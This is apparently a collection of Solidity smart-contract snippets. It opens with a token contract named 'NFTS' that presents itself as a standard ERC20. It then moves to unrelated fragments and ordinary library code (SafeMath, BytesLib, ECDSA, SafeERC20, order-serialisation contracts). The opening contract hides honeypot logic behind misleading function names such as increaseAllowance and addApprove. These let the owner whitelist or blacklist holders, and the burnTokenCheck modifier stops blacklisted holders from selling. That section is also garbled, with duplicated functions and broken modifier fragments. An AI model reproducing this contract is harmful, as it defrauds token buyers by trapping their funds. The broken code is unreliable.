* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
|
contract NFTS is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
| 8,074,177
|
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./partial_match/1/0xAF5078bCEE5B9DE9Bb9394207Ca48ac32648C45f/sources/Workspace.sol
|
* @dev Let the owner set the marketplace address once minting is over Possible to do it more than once to ensure maintainability @param theMarketplace the marketplace address/
|
function setMarketplace(address theMarketplace)
public
onlyMintingFinished
onlyOwner
{
marketplace = theMarketplace;
}
| 3,939,156
|
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deals with potential transfer tax
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./full_match/1/0xb688801cadb4Ddb6980bb777d42972C24f920855/sources/solidity/contracts/core/VaultController.sol
|
the raw price is simply the oracle price of the token
|
_rawPrice = _safeu192(_collateral.oracle.currentValue());
| 9,678,022
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./partial_match/42220/0x7ef2EA0939Fa35f3fA78616E3E12246324739203/sources/lib/staked-celo/contracts/Manager.sol
|
* @notice An instance of the StakedCelo contract this Manager manages./
|
IStakedCelo internal stakedCelo;
| 3,497,640
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/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Migratable {
function migrateTo(address user, address token, uint256 amount) payable external;
}
/*
* @title Solidity Bytes Arrays Utils
* @author Gonçalo Sá <goncalo.sa@consensys.net>
*
* @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity.
* The library lets you concatenate, slice and type cast bytes arrays both in memory and storage.
*/
library BytesLib {
function concat(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bytes memory) {
bytes memory tempBytes;
assembly {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// Store the length of the first bytes array at the beginning of
// the memory for tempBytes.
let length := mload(_preBytes)
mstore(tempBytes, length)
// Maintain a memory counter for the current write location in the
// temp bytes array by adding the 32 bytes for the array length to
// the starting location.
let mc := add(tempBytes, 0x20)
// Stop copying when the memory counter reaches the length of the
// first bytes array.
let end := add(mc, length)
for {
// Initialize a copy counter to the start of the _preBytes data,
// 32 bytes into its memory.
let cc := add(_preBytes, 0x20)
} lt(mc, end) {
// Increase both counters by 32 bytes each iteration.
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
// Write the _preBytes data into the tempBytes memory 32 bytes
// at a time.
mstore(mc, mload(cc))
}
// Add the length of _postBytes to the current length of tempBytes
// and store it as the new length in the first 32 bytes of the
// tempBytes memory.
length := mload(_postBytes)
mstore(tempBytes, add(length, mload(tempBytes)))
// Move the memory counter back from a multiple of 0x20 to the
// actual end of the _preBytes data.
mc := end
// Stop copying when the memory counter reaches the new combined
// length of the arrays.
end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
// Update the free-memory pointer by padding our last write location
// to 32 bytes: add 31 bytes to the end of tempBytes to move to the
// next 32 byte block, then round down to the nearest multiple of
// 32. If the sum of the length of the two arrays is zero then add
// one before rounding down to leave a blank 32 bytes (the length block with 0).
mstore(0x40, and(
add(add(end, iszero(add(length, mload(_preBytes)))), 31),
not(31) // Round down to the nearest 32 bytes.
))
}
return tempBytes;
}
function concatStorage(bytes storage _preBytes, bytes memory _postBytes) internal {
assembly {
// Read the first 32 bytes of _preBytes storage, which is the length
// of the array. (We don't need to use the offset into the slot
// because arrays use the entire slot.)
let fslot := sload(_preBytes_slot)
// Arrays of 31 bytes or less have an even value in their slot,
// while longer arrays have an odd value. The actual length is
// the slot divided by two for odd values, and the lowest order
// byte divided by two for even values.
// If the slot is even, bitwise and the slot with 255 and divide by
// two to get the length. If the slot is odd, bitwise and the slot
// with -1 and divide by two.
let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2)
let mlength := mload(_postBytes)
let newlength := add(slength, mlength)
// slength can contain both the length and contents of the array
// if length < 32 bytes so let's prepare for that
// v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage
switch add(lt(slength, 32), lt(newlength, 32))
case 2 {
// Since the new array still fits in the slot, we just need to
// update the contents of the slot.
// uint256(bytes_storage) = uint256(bytes_storage) + uint256(bytes_memory) + new_length
sstore(
_preBytes_slot,
// all the modifications to the slot are inside this
// next block
add(
// we can just add to the slot contents because the
// bytes we want to change are the LSBs
fslot,
add(
mul(
div(
// load the bytes from memory
mload(add(_postBytes, 0x20)),
// zero all bytes to the right
exp(0x100, sub(32, mlength))
),
// and now shift left the number of bytes to
// leave space for the length in the slot
exp(0x100, sub(32, newlength))
),
// increase length by the double of the memory
// bytes length
mul(mlength, 2)
)
)
)
}
case 1 {
// The stored value fits in the slot, but the combined value
// will exceed it.
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes_slot)
let sc := add(keccak256(0x0, 0x20), div(slength, 32))
// save new length
sstore(_preBytes_slot, add(mul(newlength, 2), 1))
// The contents of the _postBytes array start 32 bytes into
// the structure. Our first read should obtain the `submod`
// bytes that can fit into the unused space in the last word
// of the stored array. To get this, we read 32 bytes starting
// from `submod`, so the data we read overlaps with the array
// contents by `submod` bytes. Masking the lowest-order
// `submod` bytes allows us to add that value directly to the
// stored value.
let submod := sub(32, slength)
let mc := add(_postBytes, submod)
let end := add(_postBytes, mlength)
let mask := sub(exp(0x100, submod), 1)
sstore(
sc,
add(
and(
fslot,
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00
),
and(mload(mc), mask)
)
)
for {
mc := add(mc, 0x20)
sc := add(sc, 1)
} lt(mc, end) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
sstore(sc, mload(mc))
}
mask := exp(0x100, sub(mc, end))
sstore(sc, mul(div(mload(mc), mask), mask))
}
default {
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes_slot)
// Start copying to the last used word of the stored array.
let sc := add(keccak256(0x0, 0x20), div(slength, 32))
// save new length
sstore(_preBytes_slot, add(mul(newlength, 2), 1))
// Copy over the first `submod` bytes of the new data as in
// case 1 above.
let slengthmod := mod(slength, 32)
let mlengthmod := mod(mlength, 32)
let submod := sub(32, slengthmod)
let mc := add(_postBytes, submod)
let end := add(_postBytes, mlength)
let mask := sub(exp(0x100, submod), 1)
sstore(sc, add(sload(sc), and(mload(mc), mask)))
for {
sc := add(sc, 1)
mc := add(mc, 0x20)
} lt(mc, end) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
sstore(sc, mload(mc))
}
mask := exp(0x100, sub(mc, end))
sstore(sc, mul(div(mload(mc), mask), mask))
}
}
}
function slice(bytes memory _bytes, uint _start, uint _length) internal pure returns (bytes memory) {
require(_bytes.length >= (_start + _length));
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function toAddress(bytes memory _bytes, uint _start) internal pure returns (address) {
require(_bytes.length >= (_start + 20));
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint8(bytes memory _bytes, uint _start) internal pure returns (uint8) {
require(_bytes.length >= (_start + 1));
uint8 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x1), _start))
}
return tempUint;
}
function toUint16(bytes memory _bytes, uint _start) internal pure returns (uint16) {
require(_bytes.length >= (_start + 2));
uint16 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x2), _start))
}
return tempUint;
}
function toUint32(bytes memory _bytes, uint _start) internal pure returns (uint32) {
require(_bytes.length >= (_start + 4));
uint32 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x4), _start))
}
return tempUint;
}
function toUint(bytes memory _bytes, uint _start) internal pure returns (uint256) {
require(_bytes.length >= (_start + 32));
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
function toBytes32(bytes memory _bytes, uint _start) internal pure returns (bytes32) {
require(_bytes.length >= (_start + 32));
bytes32 tempBytes32;
assembly {
tempBytes32 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes32;
}
function equal(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) {
bool success = true;
assembly {
let length := mload(_preBytes)
// if lengths don't match the arrays are not equal
switch eq(length, mload(_postBytes))
case 1 {
// cb is a circuit breaker in the for loop since there's
// no said feature for inline assembly loops
// cb = 1 - don't breaker
// cb = 0 - break
let cb := 1
let mc := add(_preBytes, 0x20)
let end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
// the next line is the loop condition:
// while(uint(mc < end) + cb == 2)
} eq(add(lt(mc, end), cb), 2) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
// if any of these checks fails then arrays are not equal
if iszero(eq(mload(mc), mload(cc))) {
// unsuccess:
success := 0
cb := 0
}
}
}
default {
// unsuccess:
success := 0
}
}
return success;
}
function equalStorage(bytes storage _preBytes, bytes memory _postBytes) internal view returns (bool) {
bool success = true;
assembly {
// we know _preBytes_offset is 0
let fslot := sload(_preBytes_slot)
// Decode the length of the stored array like in concatStorage().
let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2)
let mlength := mload(_postBytes)
// if lengths don't match the arrays are not equal
switch eq(slength, mlength)
case 1 {
// slength can contain both the length and contents of the array
// if length < 32 bytes so let's prepare for that
// v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage
if iszero(iszero(slength)) {
switch lt(slength, 32)
case 1 {
// blank the last byte which is the length
fslot := mul(div(fslot, 0x100), 0x100)
if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) {
// unsuccess:
success := 0
}
}
default {
// cb is a circuit breaker in the for loop since there's
// no said feature for inline assembly loops
// cb = 1 - don't breaker
// cb = 0 - break
let cb := 1
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes_slot)
let sc := keccak256(0x0, 0x20)
let mc := add(_postBytes, 0x20)
let end := add(mc, mlength)
// the next line is the loop condition:
// while(uint(mc < end) + cb == 2)
for {} eq(add(lt(mc, end), cb), 2) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
if iszero(eq(sload(sc), mload(mc))) {
// unsuccess:
success := 0
cb := 0
}
}
}
}
}
default {
// unsuccess:
success := 0
}
}
return success;
}
}
/**
* @title Serializable Migration
* @author Ben Huang
* @notice Let migration support serialization and deserialization
*/
contract SerializableMigration {
using SafeMath for uint256;
using BytesLib for bytes;
uint constant public MIGRATION_1_SIZE = 24;
uint constant public TOKENID_SIZE = 2;
uint constant public SIGNATURE_SIZE = 65;
uint8 constant internal _MASK_IS_ETH = 0x01;
/**
* @notice Get target address from the serialized migration data
* @param ser_data Serialized migration data
* @return target Target contract address
*/
function _getMigrationTarget(bytes memory ser_data) internal pure returns (address target) {
target = ser_data.toAddress(ser_data.length - 20);
}
/**
* @notice Get user ID from the serialized migration data
* @param ser_data Serialized migration data
* @return userID User ID
*/
function _getMigrationUserID(bytes memory ser_data) internal pure returns (uint256 userID) {
userID = ser_data.toUint32(ser_data.length - 24);
}
/**
* @notice Get token count
* @param ser_data Serialized migration data
* @return n The migrate token amount
*/
function _getMigrationCount(bytes memory ser_data) internal pure returns (uint256 n) {
n = (ser_data.length - SIGNATURE_SIZE - MIGRATION_1_SIZE) / 2;
}
/**
* @notice Get token ID to be migrated
* @param ser_data Serialized migration data
* @param index The index of token ID to be migrated
* @return tokenID The token ID to be migrated
*/
function _getMigrationTokenID(bytes memory ser_data, uint index) internal pure returns (uint256 tokenID) {
require(index < _getMigrationCount(ser_data));
tokenID = ser_data.toUint16(ser_data.length - MIGRATION_1_SIZE - (TOKENID_SIZE.mul(index + 1)));
}
/**
* @notice Get v from the serialized migration data
* @param ser_data Serialized migration data
* @return v Signature v
*/
function _getMigrationV(bytes memory ser_data) internal pure returns (uint8 v) {
v = ser_data.toUint8(SIGNATURE_SIZE - 1);
}
/**
* @notice Get r from the serialized migration data
* @param ser_data Serialized migration data
* @return r Signature r
*/
function _getMigrationR(bytes memory ser_data) internal pure returns (bytes32 r) {
r = ser_data.toBytes32(SIGNATURE_SIZE - 33);
}
/**
* @notice Get s from the serialized migration data
* @param ser_data Serialized migration data
* @return s Signature s
*/
function _getMigrationS(bytes memory ser_data) internal pure returns (bytes32 s) {
s = ser_data.toBytes32(SIGNATURE_SIZE - 65);
}
/**
* @notice Get hash from the serialized migration data
* @param ser_data Serialized migration data
* @return hash Migration hash without signature
*/
function _getMigrationHash(bytes memory ser_data) internal pure returns (bytes32 hash) {
hash = keccak256(ser_data.slice(65, ser_data.length - SIGNATURE_SIZE));
}
}
/**
* @title Elliptic curve signature operations
* @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d
* TODO Remove this library once solidity supports passing a signature to ecrecover.
* See https://github.com/ethereum/solidity/issues/864
*/
library ECDSA {
/**
* @dev Recover signer address from a message by using their signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param signature bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
// If the signature is valid (and not malleable), return the signer address
return ecrecover(hash, v, r, s);
}
/**
* toEthSignedMessageHash
* @dev prefix a bytes32 value with "\x19Ethereum Signed Message:"
* and hash the result
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must equal true).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
require(address(token).isContract());
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)));
}
}
}
/**
* @title Serializable Order
* @author Ben Huang
* @notice Let order support serialization and deserialization
*/
contract SerializableOrder {
using SafeMath for uint256;
using BytesLib for bytes;
uint constant public ORDER_SIZE = 206;
uint constant public UNSIGNED_ORDER_SIZE = 141;
uint8 constant internal _MASK_IS_BUY = 0x01;
uint8 constant internal _MASK_IS_MAIN = 0x02;
/**
* @notice Get user ID from the serialized order data
* @param ser_data Serialized order data
* @return userID User ID
*/
function _getOrderUserID(bytes memory ser_data) internal pure returns (uint256 userID) {
userID = ser_data.toUint32(ORDER_SIZE - 4);
}
/**
* @notice Get base token ID from the serialized order data
* @param ser_data Serialized order data
* @return tokenBase Base token ID
*/
function _getOrderTokenIDBase(bytes memory ser_data) internal pure returns (uint256 tokenBase) {
tokenBase = ser_data.toUint16(ORDER_SIZE - 6);
}
/**
* @notice Get base token amount from the serialized order data
* @param ser_data Serialized order data
* @return amountBase Base token amount
*/
function _getOrderAmountBase(bytes memory ser_data) internal pure returns (uint256 amountBase) {
amountBase = ser_data.toUint(ORDER_SIZE - 38);
}
/**
* @notice Get quote token ID from the serialized order data
* @param ser_data Serialized order data
* @return tokenQuote Quote token ID
*/
function _getOrderTokenIDQuote(bytes memory ser_data) internal pure returns (uint256 tokenQuote) {
tokenQuote = ser_data.toUint16(ORDER_SIZE - 40);
}
/**
* @notice Get quote token amount from the serialized order data
* @param ser_data Serialized order data
* @return amountQuote Quote token amount
*/
function _getOrderAmountQuote(bytes memory ser_data) internal pure returns (uint256 amountQuote) {
amountQuote = ser_data.toUint(ORDER_SIZE - 72);
}
/**
* @notice Check if the order is a buy order
* @param ser_data Serialized order data
* @return fBuy Is buy order or not
*/
function _isOrderBuy(bytes memory ser_data) internal pure returns (bool fBuy) {
fBuy = (ser_data.toUint8(ORDER_SIZE - 73) & _MASK_IS_BUY != 0);
}
/**
* @notice Check if the fee is paid by main token
* @param ser_data Serialized order data
* @return fMain Is the fee paid in main token or not
*/
function _isOrderFeeMain(bytes memory ser_data) internal pure returns (bool fMain) {
fMain = (ser_data.toUint8(ORDER_SIZE - 73) & _MASK_IS_MAIN != 0);
}
/**
* @notice Get nonce from the serialized order data
* @param ser_data Serialized order data
* @return nonce Nonce
*/
function _getOrderNonce(bytes memory ser_data) internal pure returns (uint256 nonce) {
nonce = ser_data.toUint32(ORDER_SIZE - 77);
}
/**
* @notice Get trading fee from the serialized order data
* @param ser_data Serialized order data
* @return fee Fee amount
*/
function _getOrderTradeFee(bytes memory ser_data) internal pure returns (uint256 tradeFee) {
